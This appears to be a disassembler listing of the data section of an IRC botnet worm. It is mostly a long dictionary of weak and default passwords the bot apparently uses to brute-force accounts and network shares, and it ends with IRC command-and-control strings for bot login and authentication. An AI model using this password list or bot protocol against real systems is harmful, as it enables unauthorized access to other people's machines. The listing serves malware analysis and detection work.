aCarol		db 'carol',0            ; DATA XREF: ___:0042FD3Co
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: ___:0042FD38o
		align 4
aCarla		db 'carla',0            ; DATA XREF: ___:0042FD34o
		align 4
aCaren		db 'caren',0            ; DATA XREF: ___:0042FD30o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: ___:0042FD2Co
		align 4
aCard		db 'card',0             ; DATA XREF: ___:0042FD28o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: ___:0042FD24o
aCaptain	db 'captain',0          ; DATA XREF: ___:0042FD20o
aCantor		db 'cantor',0           ; DATA XREF: ___:0042FD1Co
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:0042FD18o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: ___:0042FD14o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:0042FD10o
aCampanil	db 'campanil',0         ; DATA XREF: ___:0042FD0Co
		align 4
aCamille	db 'camille',0          ; DATA XREF: ___:0042FD08o
aCaliforn	db 'californ',0         ; DATA XREF: ___:0042FD04o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: ___:0042FD00o
		align 4
aButt		db 'butt',0             ; DATA XREF: ___:0042FCFCo
		align 4
aButch		db 'butch',0            ; DATA XREF: ___:0042FCF8o
		align 4
aBurn		db 'burn',0             ; DATA XREF: ___:0042FCF4o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: ___:0042FCF0o
aBung		db 'bung',0             ; DATA XREF: ___:0042FCECo
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: ___:0042FCE8o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: ___:0042FCE4o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: ___:0042FCE0o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042FCDCo
		align 10h
aBrute		db 'brute',0            ; DATA XREF: ___:0042FCD8o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:0042FCD4o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: ___:0042FCD0o
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042FCCCo
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:0042FCC8o
aBrian		db 'brian',0            ; DATA XREF: ___:0042FCC4o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:0042FCC0o
		align 10h
aBreast		db 'breast',0           ; DATA XREF: ___:0042FCBCo
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:0042FCB8o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: ___:0042FCB4o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:0042FCB0o
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042FCACo
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:0042FCA8o
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:0042FCA4o
		align 4
aBorn		db 'born',0             ; DATA XREF: ___:0042FCA0o
		align 4
aBook		db 'book',0             ; DATA XREF: ___:0042FC9Co
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: ___:0042FC98o
		align 4
aBoob		db 'boob',0             ; DATA XREF: ___:0042FC94o
		align 4
aBoner		db 'boner',0            ; DATA XREF: ___:0042FC90o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: ___:0042FC8Co
		align 4
aBoard		db 'board',0            ; DATA XREF: ___:0042FC88o
		align 4
aBlues		db 'blues',0            ; DATA XREF: ___:0042FC84o
		align 4
aBlue		db 'blue',0             ; DATA XREF: ___:0042FC80o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042FC7Co
aBlow		db 'blow',0             ; DATA XREF: ___:0042FC78o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:0042FC74o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: ___:0042FC70o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042FC6Co
aBlonde		db 'blonde',0           ; DATA XREF: ___:0042FC68o
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:0042FC64o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: ___:0042FC60o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:0042FC5Co
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:0042FC58o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:0042FC54o
		align 10h
aBird		db 'bird',0             ; DATA XREF: ___:0042FC50o
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:0042FC4Co
		align 10h
aBinary		db 'binary',0           ; DATA XREF: ___:0042FC48o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:0042FC44o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:0042FC40o
aBicamera	db 'bicamera',0         ; DATA XREF: ___:0042FC3Co
		align 4
aBible		db 'bible',0            ; DATA XREF: ___:0042FC38o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: ___:0042FC34o
aBetty		db 'betty',0            ; DATA XREF: ___:0042FC30o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: ___:0042FC2Co
		align 4
aBeth		db 'beth',0             ; DATA XREF: ___:0042FC28o
		align 4
aBeta		db 'beta',0             ; DATA XREF: ___:0042FC24o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: ___:0042FC20o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: ___:0042FC1Co
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:0042FC18o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:0042FC14o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:0042FC10o
aBenz		db 'benz',0             ; DATA XREF: ___:0042FC0Co
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: ___:0042FC08o
aBell		db 'bell',0             ; DATA XREF: ___:0042FC04o
		align 4
aBehead		db 'behead',0           ; DATA XREF: ___:0042FC00o
		align 4
aBegin		db 'begin',0            ; DATA XREF: ___:0042FBFCo
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: ___:0042FBF8o
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:0042FBF4o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: ___:0042FBF0o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042FBECo
		align 10h
aBeater		db 'beater',0           ; DATA XREF: ___:0042FBE8o
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:0042FBE4o
		align 10h
aBear		db 'bear',0             ; DATA XREF: ___:0042FBE0o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042FBDCo
		align 4
aBeach		db 'beach',0            ; DATA XREF: ___:0042FBD8o
		align 4
aBatman		db 'batman',0           ; DATA XREF: ___:0042FBD4o
		align 4
aBatch		db 'batch',0            ; DATA XREF: ___:0042FBD0o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042FBCCo
aBass		db 'bass',0             ; DATA XREF: ___:0042FBC8o
		align 4
aBasic		db 'basic',0            ; DATA XREF: ___:0042FBC4o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: ___:0042FBC0o
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: ___:0042FBBCo
aBart		db 'bart',0             ; DATA XREF: ___:0042FBB8o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: ___:0042FBB4o
		align 4
aBarf		db 'barf',0             ; DATA XREF: ___:0042FBB0o
		align 4
aBare		db 'bare',0             ; DATA XREF: ___:0042FBACo
		align 4
aBarber		db 'barber',0           ; DATA XREF: ___:0042FBA8o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: ___:0042FBA4o
aBanks		db 'banks',0            ; DATA XREF: ___:0042FBA0o
		align 4
aBank		db 'bank',0             ; DATA XREF: ___:0042FB9Co
		align 4
aBandit		db 'bandit',0           ; DATA XREF: ___:0042FB98o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: ___:0042FB94o
aBanana		db 'banana',0           ; DATA XREF: ___:0042FB90o
		align 4
aBall		db 'ball',0             ; DATA XREF: ___:0042FB8Co
		align 4
aBailey		db 'bailey',0           ; DATA XREF: ___:0042FB88o
		align 4
aBadass		db 'badass',0           ; DATA XREF: ___:0042FB84o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:0042FB80o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042FB7Co
aBaby		db 'baby',0             ; DATA XREF: ___:0042FB78o
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:0042FB74o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: ___:0042FB70o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042FB6Co
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:0042FB68o
		align 4
aAttack		db 'attack',0           ; DATA XREF: ___:0042FB64o
		align 4
aAtom		db 'atom',0             ; DATA XREF: ___:0042FB60o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:0042FB5Co
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:0042FB58o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: ___:0042FB54o
aAsian		db 'asian',0            ; DATA XREF: ___:0042FB50o
		align 10h
aArtist		db 'artist',0           ; DATA XREF: ___:0042FB4Co
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:0042FB48o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: ___:0042FB44o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:0042FB40o
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: ___:0042FB3Co
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:0042FB38o
aAria		db 'aria',0             ; DATA XREF: ___:0042FB34o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:0042FB30o
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: ___:0042FB2Co
		align 4
aAnything	db 'anything',0         ; DATA XREF: ___:0042FB28o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:0042FB24o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:0042FB20o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:0042FB1Co
aAnswer		db 'answer',0           ; DATA XREF: ___:0042FB18o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:0042FB14o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:0042FB10o
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: ___:0042FB0Co
aAnne		db 'anne',0             ; DATA XREF: ___:0042FB08o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: ___:0042FB04o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:0042FB00o
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: ___:0042FAFCo
aAnimal		db 'animal',0           ; DATA XREF: ___:0042FAF8o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: ___:0042FAF4o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:0042FAF0o
		align 4
aAngela		db 'angela',0           ; DATA XREF: ___:0042FAECo
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: ___:0042FAE8o
		align 4
aAndy		db 'andy',0             ; DATA XREF: ___:0042FAE4o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: ___:0042FAE0o
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042FADCo
aAndrea		db 'andrea',0           ; DATA XREF: ___:0042FAD8o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:0042FAD4o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:0042FAD0o
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042FACCo
		align 4
aAnalog		db 'analog',0           ; DATA XREF: ___:0042FAC8o
		align 4
aAnal		db 'anal',0             ; DATA XREF: ___:0042FAC4o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:0042FAC0o
		align 10h
aAmerica	db 'america',0          ; DATA XREF: ___:0042FABCo
aAmber		db 'amber',0            ; DATA XREF: ___:0042FAB8o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: ___:0042FAB4o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:0042FAB0o
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042FAACo
		align 4
aAllow		db 'allow',0            ; DATA XREF: ___:0042FAA8o
		align 4
aAllison	db 'allison',0          ; DATA XREF: ___:0042FAA4o
aAlison		db 'alison',0           ; DATA XREF: ___:0042FAA0o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042FA9Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: ___:0042FA98o
		align 4
aAlice		db 'alice',0            ; DATA XREF: ___:0042FA94o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: ___:0042FA90o
aAlias		db 'alias',0            ; DATA XREF: ___:0042FA8Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: ___:0042FA88o
aAlexande	db 'alexande',0         ; DATA XREF: ___:0042FA84o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: ___:0042FA80o
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042FA7Co
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: ___:0042FA78o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:0042FA74o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: ___:0042FA70o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042FA6Co
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: ___:0042FA68o
		align 10h
aAids		db 'aids',0             ; DATA XREF: ___:0042FA64o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:0042FA60o
		align 4
aAdult		db 'adult',0            ; DATA XREF: ___:0042FA5Co
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:0042FA58o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:0042FA54o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: ___:0042FA50o
		align 4
aAction		db 'action',0           ; DATA XREF: ___:0042FA4Co
		align 10h
aAccount	db 'account',0          ; DATA XREF: ___:0042FA48o
aAcademic	db 'academic',0         ; DATA XREF: ___:0042FA40o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: ___:0042FA3Co
		align 10h
a000000		db '000000',0           ; DATA XREF: ___:0042FA38o
		align 4
a00000		db '00000',0            ; DATA XREF: ___:0042FA34o
		align 10h
a0000		db '0000',0             ; DATA XREF: ___:0042FA30o
		align 4
a000		db '000',0              ; DATA XREF: ___:0042FA2Co
aTesting	db 'testing',0          ; DATA XREF: ___:0042FA28o
aDeath		db 'death',0            ; DATA XREF: ___:0042FA24o
		align 4
a00		db '00',0               ; DATA XREF: ___:0042FA20o
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:0042FA18o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:0042FA14o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:0042FA10o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:0042FA0Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:0042FA08o
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: ___:0042FA04o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: ___:0042FA00o
aXx		db 'xx',0               ; DATA XREF: ___:0042F9FCo
		align 10h
asc_434C30:				; DATA XREF: ___:0042F9F8o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:0042F9F4o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:0042F9F0o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042F9ECo
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: ___:0042F9E8o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: ___:0042F9E4o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:0042F9E0o
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042F9DCo
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: ___:0042F9D8o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:0042F9D4o
		align 4
aL337		db 'l337',0             ; DATA XREF: ___:0042F9D0o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042F9CCo
		align 4
aLeet		db 'leet',0             ; DATA XREF: ___:0042F9C8o
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:0042F9C4o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:0042F9C0o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042F9BCo
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: ___:0042F9B8o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:0042F9B4o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: ___:0042F9B0o
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042F9ACo
aSatan		db 'satan',0            ; DATA XREF: ___:0042F9A8o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: ___:0042F9A4o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: ___:0042F9A0o
aMatt		db 'Matt',0             ; DATA XREF: ___:0042F99Co
		align 4
aMat		db 'Mat',0              ; DATA XREF: ___:0042F998o
aPw		db 'pw',0               ; DATA XREF: ___:0042F994o
		align 10h
aMypass123	db 'mypass123',0        ; DATA XREF: ___:0042F990o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042F98Co
		align 4
aPw123		db 'pw123',0            ; DATA XREF: ___:0042F988o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:0042F984o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: ___:0042F980o
aMypc		db 'mypc',0             ; DATA XREF: ___:0042F97Co
		align 4
aLove		db 'love',0             ; DATA XREF: ___:0042F978o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: ___:0042F974o
aLogin		db 'login',0            ; DATA XREF: ___:0042F970o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042F96Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: ___:0042F968o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:0042F964o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: ___:0042F960o
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:0042F95Co
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: ___:0042F958o
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:0042F954o
		align 10h
aWin		db 'win',0              ; DATA XREF: ___:0042F950o
aTest123	db 'test123',0          ; DATA XREF: ___:0042F94Co
aAbc		db 'abc',0              ; DATA XREF: ___:0042F948o
aAaa		db 'aaa',0              ; DATA XREF: ___:0042F944o
aA_1:					; DATA XREF: ___:0042F940o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: ___:0042F93Co
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: ___:0042F938o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:0042F934o
aIrule		db 'irule',0            ; DATA XREF: ___:0042F930o
		align 4
aOwned		db 'owned',0            ; DATA XREF: ___:0042F92Co
		align 10h
a0wned		db '0wned',0            ; DATA XREF: ___:0042F928o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:0042F924o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:0042F920o
		align 10h
aDevil		db 'devil',0            ; DATA XREF: ___:0042F91Co
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: ___:0042F918o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: ___:0042F914o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:0042F910o
aSex		db 'sex',0              ; DATA XREF: ___:0042F90Co
aPat		db 'pat',0              ; DATA XREF: ___:0042F908o
aPatrick	db 'patrick',0          ; DATA XREF: ___:0042F904o
aAlpha		db 'alpha',0            ; DATA XREF: ___:0042F900o
		align 4
a007		db '007',0              ; DATA XREF: ___:0042F8FCo
a123abc		db '123abc',0           ; DATA XREF: ___:0042F8F8o
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: ___:0042F8F4o
		align 4
a123123		db '123123',0           ; DATA XREF: ___:0042F8F0o
		align 4
a121212		db '121212',0           ; DATA XREF: ___:0042F8ECo
		align 4
a111111		db '111111',0           ; DATA XREF: ___:0042F8E8o
		align 4
a110		db '110',0              ; DATA XREF: ___:0042F8E4o
a2600		db '2600',0             ; DATA XREF: ___:0042F8E0o
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:0042F8D8o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: ___:0042F8D4o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:0042F8D0o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042F8CCo
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:0042F8C8o
a123asd		db '123asd',0           ; DATA XREF: ___:0042F8C4o
		align 4
aSuper		db 'super',0            ; DATA XREF: ___:0042F8C0o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042F8BCo
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: ___:0042F8B4o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: ___:0042F8B0o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: ___:0042F8A8o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: ___:0042F8A4o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042F89Co
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: ___:0042F898o
		align 4
a88888888	db '88888888',0         ; DATA XREF: ___:0042F894o
		align 4
a11111111	db '11111111',0         ; DATA XREF: ___:0042F890o
		align 10h
a111		db '111',0              ; DATA XREF: ___:0042F88Co
a54321		db '54321',0            ; DATA XREF: ___:0042F888o
		align 4
a654321		db '654321',0           ; DATA XREF: ___:0042F884o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:0042F880o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:0042F87Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:0042F878o
a123456		db '123456',0           ; DATA XREF: ___:0042F874o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:0042F870o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:0042F86Co
		align 4
a123		db '123',0              ; DATA XREF: ___:0042F868o
a12		db '12',0               ; DATA XREF: ___:0042F864o
		align 4
a1:					; DATA XREF: ___:0042F860o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:0042F85Co
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:0042F858o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042F854o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042F850o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:0042F84Co
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: ___:0042F848o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: ___:0042F844o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: ___:0042F840o
		align 10h
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:0042F83Co
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: ___:0042F838o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: ___:0042F830o
		align 4
aTest		db 'TEST',0             ; DATA XREF: ___:0042F82Co
		align 10h
aEdu		db 'edu',0              ; DATA XREF: ___:0042F828o
aOwner_1	db 'Owner',0            ; DATA XREF: ___:0042F824o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: ___:0042F820o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: ___:0042F81Co
		align 4
aFiles		db 'FILES',0            ; DATA XREF: ___:0042F818o
		align 4
aRead		db 'READ',0             ; DATA XREF: ___:0042F814o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:0042F810o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: ___:0042F80Co
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:0042F808o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: ___:0042F804o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: ___:0042F800o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: ___:0042F7FCo
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:0042F7F8o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: ___:0042F7F4o
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: ___:0042F7ECo
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: ___:0042F7E8o
		align 10h
aBla		db 'bla',0              ; DATA XREF: ___:0042F7E4o
aFubar		db 'fubar',0            ; DATA XREF: ___:0042F7E0o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F7D4o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F7C4o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042F7C0o
					; ___:0042F8ACo
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:0042F7BCo
aDatabase	db 'database',0         ; DATA XREF: ___:0042F7B8o
					; ___:0042F8A0o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:0042F7B4o
					; ___:0042FF40o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042F7B0o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:0042F7ACo
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:0042F7A8o
					; ___:00430ED4o
aStudent	db 'student',0          ; DATA XREF: ___:0042F7A4o
					; ___:00430E1Co
aOwner		db 'owner',0            ; DATA XREF: ___:0042F7A0o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042F79Co
					; ___:0042F8B8o
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042F798o
					; ___:0042F7F0o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: ___:0042F794o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:0042F790o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: ___:0042F78Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:0042F788o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:0042F784o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042F780o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042F77Co
					; ___:0042F7DCo
		align 4
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6CCo
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C8o
dword_43511C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_435144	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_435150	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Ao
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6262o
		align 4
dword_4351C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6255o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_4351F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6238o
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_435220	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D7o
		dd 2BBBB02h, 462A2020h,	656C6961h, 6F682064h, 61207473h
		db 75h
aThBySS_	db 'th by: (%s!%s).',0  ; DATA XREF: ___:off_4274DCo
		align 4
dword_43525C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6170o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+615Eo
					; sub_40EE72+61C5o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6147o
					; sub_40EE72+61AEo
		align 4
asc_4352E4:				; DATA XREF: sub_40EE72+6117o
		unicode	0, <~>,0
dword_4352E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C7o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
